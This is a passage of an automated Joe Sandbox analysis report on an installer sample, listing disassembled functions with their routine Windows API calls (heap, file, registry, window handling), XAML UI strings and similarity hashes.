Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$HeapPathProcess
String ID: \\?\$\\?\UNC\
API String ID: 806983814-3019864461
Opcode ID: 5b710944df69cde4e71672f8ef5df7f0b7f435bb9fd9401c80e106fcca974111
Instruction ID: 41de3b427e1b279a55526a3703ff19c7f0b69e4aab7ba677085c793e08ce9ca3
Opcode Fuzzy Hash: 5b710944df69cde4e71672f8ef5df7f0b7f435bb9fd9401c80e106fcca974111
Instruction Fuzzy Hash: ECC191719006099FDB00DBA8CD85BAEF7F8FF85320F148269E415E72D1EB75A904CBA1

Function 00A15943 Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,00000000,0098AB8E,?,?,?,?,?,?), ref: 00A15948
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?), ref: 00A1594F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?), ref: 00A15995
HeapFree.KERNEL32(00000000,?,?,?,?,?,?), ref: 00A1599C

Part of subcall function 00A157E1: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A15805
Part of subcall function 00A157E1: HeapAlloc.KERNEL32(00000000,?,00A1598B,?,?,?,?,?,?,?), ref: 00A1580C

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 22fabd5fdf0a7b954bc9791b9cdad98991d5fd467bcedc4770107c266a4c91f8
Instruction ID: 83a9e589936a116c76787f286d029034499396e8dfe32c972a2c0098c340f600
Opcode Fuzzy Hash: 22fabd5fdf0a7b954bc9791b9cdad98991d5fd467bcedc4770107c266a4c91f8
Instruction Fuzzy Hash: CFF0BB76F44B12DFC72467F87C09ADA29699FC07717254536F446C6155EE20C8824761

Function 00A3019C Relevance: 4.7, APIs: 3, Instructions: 202COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 00A3034B

Part of subcall function 00A2E1F7: RtlAllocateHeap.NTDLL(00000000,00A35D4E,?,?,00A35D4E,00000220,?,?,?), ref: 00A2E229

__freea.LIBCMT ref: 00A30360
__freea.LIBCMT ref: 00A30370

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: __freea$AllocateHeap
String ID:
API String ID: 2243444508-0
Opcode ID: c08c665647b145c639390f9ff562a0af216ab2b9fe1a035c8c7bfa0e74047b76
Instruction ID: 48425570a45b02916691e05de5a8de807e345d5219239664c4b46fdab3c2d38e
Opcode Fuzzy Hash: c08c665647b145c639390f9ff562a0af216ab2b9fe1a035c8c7bfa0e74047b76
Instruction Fuzzy Hash: 3151B172A0021AAFEF219FA5DD96EFF3AA9EF44350F194128FD08DA151EB70DC508760

Function 00985DF0 Relevance: 4.7, APIs: 3, Instructions: 192fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,C7BA013E,?,?), ref: 00985E57
ReadFile.KERNEL32(?,00000000,00000018,?,00000000), ref: 00985F64

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 3039df0779b1ab237dfe76a3cc95420367fa11a6b32c91c757d77e0efa5d987b
Instruction ID: 13db13b8148784836eaba284a24f8f4667e87ef5b9e26f307ef94a842b4e44b6
Opcode Fuzzy Hash: 3039df0779b1ab237dfe76a3cc95420367fa11a6b32c91c757d77e0efa5d987b
Instruction Fuzzy Hash: 55617071D00609EFDB04DFA8C945B9DFBB4FB49320F10826AE825E7391DB759A05CB91

Function 009831B0 Relevance: 4.7, APIs: 3, Instructions: 183fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,C7BA013E,?,00000000,?,80004005,?,00000000), ref: 0098324E
GetLastError.KERNEL32 ref: 00983286
GetLastError.KERNEL32(?), ref: 0098331F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ErrorLast$CreateFile
String ID:
API String ID: 1722934493-0
Opcode ID: 4f9c22d66514ccf958ca6495942d9fb63961d1c72284001fb9e42d63044d6a1f
Instruction ID: 3be5ae7df4ee7a825c0fd9a8d9eaa1a66192758192d642bba634f32c804f93a3
Opcode Fuzzy Hash: 4f9c22d66514ccf958ca6495942d9fb63961d1c72284001fb9e42d63044d6a1f
Instruction Fuzzy Hash: C351D431A00605DFDB10EF69D845BAAF7F5FF44720F14866AE529D73A0EB31AA05CB80

Function 00961370 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000025,00000000,C7BA013E), ref: 00961510

Part of subcall function 009615D0: GetEnvironmentVariableW.KERNEL32(00000000,00000000,00000000,?,?,?,80004005), ref: 009615DD

Strings

USERPROFILE, xrefs: 009613BE

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Init_thread_footer$EnvironmentFolderHeapPathProcessSpecialVariable
String ID: USERPROFILE
API String ID: 1777821646-2419442777
Opcode ID: 8fca9c6ffe529e598cf0e34a1ccabe60354291283a0628676fd44cfb188f7567
Instruction ID: 3d036a49679c185c0fe950e3bb09c5ee66c1e60d9c2ee2c370bfe55a49fc5ddd
Opcode Fuzzy Hash: 8fca9c6ffe529e598cf0e34a1ccabe60354291283a0628676fd44cfb188f7567
Instruction Fuzzy Hash: 4961AE71A006099FDB14DF6CC859BAEB7B9FF44320F14866DE816DB391DB749900CB91

Function 0088E1E0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 171COMMON

Download Yara Rule

APIs

InterlockedPushEntrySList.KERNEL32(00B30AF0,00B30B48,Windows.UI.Xaml.Input.KeyboardAccelerator,00000029,C7BA013E,?,00AB0A34,?), ref: 0088E3A6

Strings

Windows.UI.Xaml.Input.KeyboardAccelerator, xrefs: 0088E2FA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EntryInterlockedListPush
String ID: Windows.UI.Xaml.Input.KeyboardAccelerator
API String ID: 4129690577-1815025733
Opcode ID: 00a7089c7223e6c520c13b13babdd47a9b582b15e853fb0ceff8d4773abba4b2
Instruction ID: 58b2d255f1d4c4bdf2570114184aa7d3e0e6e0e3e8d3c09a242ca7fa8e1c2642
Opcode Fuzzy Hash: 00a7089c7223e6c520c13b13babdd47a9b582b15e853fb0ceff8d4773abba4b2
Instruction Fuzzy Hash: 2E518B71900219EFDB10DF98C955BAEFBB4FF04718F20456AE915AB380D7B5AA04CBD1

Function 008A81B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Windows.UI.Xaml.Controls.Grid, xrefs: 008A825A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID: Windows.UI.Xaml.Controls.Grid
API String ID: 0-2024751149
Opcode ID: e03d0e4d96ceae2542535b28a56a62522af57ac572a16032811f3417efd1c2f0
Instruction ID: 14c06272b8ccea9bd377ff7ce57f5015935451141792a491d19e292023a661a7
Opcode Fuzzy Hash: e03d0e4d96ceae2542535b28a56a62522af57ac572a16032811f3417efd1c2f0
Instruction Fuzzy Hash: D3516971D00219EFDB00DF98D945BEEBBB8FB04718F20452AE815A7381DBB55A04CBE1

Function 008A7F40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

Windows.UI.Xaml.Controls.Button, xrefs: 008A7FEA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID: Windows.UI.Xaml.Controls.Button
API String ID: 0-66595721
Opcode ID: 77e1cecefe6f0611930969fecf508d7349c29f900c05805571dba3e8e05f9b16
Instruction ID: 7055d6a2739b42285b17135753a2b042c4361717fc1c29bc150fe328ef42efe5
Opcode Fuzzy Hash: 77e1cecefe6f0611930969fecf508d7349c29f900c05805571dba3e8e05f9b16
Instruction Fuzzy Hash: EA519D71D04219EFDB00DF98C945BEEBBB8FF04714F20452AE815A7281DB746A04CBE1

Function 008A7190 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

InterlockedPushEntrySList.KERNEL32(00B30AF0,00B30C38,Windows.UI.Xaml.Media.Imaging.BitmapImage,00000029,C7BA013E,00000000,000000C8,?,00B30C34,00A3E897,000000FF), ref: 008A7268

Strings

Windows.UI.Xaml.Media.Imaging.BitmapImage, xrefs: 008A71BA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EntryInterlockedListPush
String ID: Windows.UI.Xaml.Media.Imaging.BitmapImage
API String ID: 4129690577-320498557
Opcode ID: 77b6d048b39f4308ef0671a05f478ca5aa450dc3109d1a46d3cdaff6e933398e
Instruction ID: ac561df6fee5d6385505d334cbee3effc326679965b9da905f696e05db879e89
Opcode Fuzzy Hash: 77b6d048b39f4308ef0671a05f478ca5aa450dc3109d1a46d3cdaff6e933398e
Instruction Fuzzy Hash: 99318B71D1521EABDB00DFA8CD55BEEBBB4FF05314F20456AE801A7291DBB45A04CBD1

Function 0088DD80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

InterlockedPushEntrySList.KERNEL32(00B30AF0,00B30B38,Windows.UI.Xaml.Documents.Run,0000001D,C7BA013E,00000000,000000B8,?,00B30B34,00A3E897,000000FF), ref: 0088DE58

Strings

Windows.UI.Xaml.Documents.Run, xrefs: 0088DDAA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EntryInterlockedListPush
String ID: Windows.UI.Xaml.Documents.Run
API String ID: 4129690577-4058747365
Opcode ID: 8abb876c7f52fb94f184df6f931e68b2a77d8af9cfc0bcadf4e3779603bdd7c7
Instruction ID: 9f7f8486883e42b7ea2d5b97dda1ccbd9a63c781a0063ae48eb26043e324a27a
Opcode Fuzzy Hash: 8abb876c7f52fb94f184df6f931e68b2a77d8af9cfc0bcadf4e3779603bdd7c7
Instruction Fuzzy Hash: 7C319C71D1121AEBCB00EF98C845BAEFBB4FF14718F20406AE814AB2D1E7B05A04CBD1

Function 008A6D50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

InterlockedPushEntrySList.KERNEL32(00B30AF0,00B30C28,Windows.UI.Xaml.Controls.Image,0000001E,C7BA013E,00000000,000000B4,?,00B30C24,00A3E897,000000FF), ref: 008A6E28

Strings

Windows.UI.Xaml.Controls.Image, xrefs: 008A6D7A

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EntryInterlockedListPush
String ID: Windows.UI.Xaml.Controls.Image
API String ID: 4129690577-940143292
Opcode ID: 6297938379a8ae5b0665bdc4b694caeb995def4520efdc7dd12e8c5025d8300a
Instruction ID: 0f3e071dedf010a72e5f2a5291224c5693fc7f0f1bf510bdfd96548657df92f2
Opcode Fuzzy Hash: 6297938379a8ae5b0665bdc4b694caeb995def4520efdc7dd12e8c5025d8300a
Instruction Fuzzy Hash: 3E31BC71D00219EBDB00DFA8C945BEEFBB4FF04314F20052AE811A7681EBB15A08CBD1

Function 00945500 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00A162A2: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162AD
Part of subcall function 00A162A2: LeaveCriticalSection.KERNEL32(00B2FE4C,?,?,?,0084AC86,00B30A7C,C7BA013E,?,?,00A3E40D,000000FF,?,00985F11), ref: 00A162EA

__Init_thread_footer.LIBCMT ref: 00945572

Part of subcall function 00A16258: EnterCriticalSection.KERNEL32(00B2FE4C,?,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16262
Part of subcall function 00A16258: LeaveCriticalSection.KERNEL32(00B2FE4C,?,0084ACF7,00B30A7C,00A9D9D0), ref: 00A16295
Part of subcall function 00A16258: RtlWakeAllConditionVariable.NTDLL ref: 00A1630C

Strings

5(I, xrefs: 0094557C, 00945581

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: 5(I
API String ID: 2296764815-2411506167
Opcode ID: 4231034018271248a0d1028328f0f76a47f33cf6674e68a926035dc6c747c257
Instruction ID: 95d2d03e16a7ffc505811206e39e98b785430ea751c534206458d2985e48fda3
Opcode Fuzzy Hash: 4231034018271248a0d1028328f0f76a47f33cf6674e68a926035dc6c747c257
Instruction Fuzzy Hash: 4F017CB1A44A44EBCB11DF98ED42B5973E4E709724F618769F816C37E1DA36AD008A06

Function 00A35F4A Relevance: 3.2, APIs: 2, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 00A35A7A: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00A35AA5

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00A35D91,?,00000000,?,?,?), ref: 00A35FAB
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A35D91,?,00000000,?,?,?), ref: 00A35FED

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 6907d5516944d2ef3c02e0cc0b6dc75e4620c631d269d795b781cbe7795f5622
Instruction ID: 175ab67a295be710de9f6e9a41646ebab0a02a12f01331e89a0a70ad95ec1929
Opcode Fuzzy Hash: 6907d5516944d2ef3c02e0cc0b6dc75e4620c631d269d795b781cbe7795f5622
Instruction Fuzzy Hash: 64512671E007456EDB25CF75C8826AABBF5EF46304F18C16EF0828B251E7759946CB90

Function 00993EB0 Relevance: 3.2, APIs: 2, Instructions: 174registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,?,00000000,000000C8,00000000,000000C8,000000C8), ref: 00993F1E
RegQueryValueExW.ADVAPI32(?,?,00000000,00000002,00000000,00000002,00000002,000000C8), ref: 00993F60

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 519fef07034ddc7b9085d947a42d8696ef95300717cbf582bd4fa3d3a56c5056
Instruction ID: faa1ca8208ce6ff85128124d215a95ad3701b1fa75b98d5ef23d5d6ca511385c
Opcode Fuzzy Hash: 519fef07034ddc7b9085d947a42d8696ef95300717cbf582bd4fa3d3a56c5056
Instruction Fuzzy Hash: 625180B1D00209ABDF21DF98C845BBFB7B8FF15310F144519E911E7291EB359A05CBA2

Function 009A6CA0 Relevance: 3.1, APIs: 2, Instructions: 131COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 009A6CF1
EndDialog.USER32(00000000,00000001), ref: 009A6D00

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DialogWindow
String ID:
API String ID: 2634769047-0
Opcode ID: e56a171ae79bd7ef658fdb5174cb934f8c9d9fd4d389ecfbef98da49376c6a72
Instruction ID: ca2811c8e4df390a70f653b8066c53b8318293f81b57d92cc55e3f97da36e8e1
Opcode Fuzzy Hash: e56a171ae79bd7ef658fdb5174cb934f8c9d9fd4d389ecfbef98da49376c6a72
Instruction Fuzzy Hash: FA519A30A01B85DFD711CF68CA48B4AFBF4FF4A314F1886ADD4559B2A1D774AA04CB91

Function 00982070 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(009819D1), ref: 00982070
DestroyWindow.USER32(00000000,?,00000000), ref: 00982127

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DestroyErrorLastWindow
String ID:
API String ID: 1182162058-0
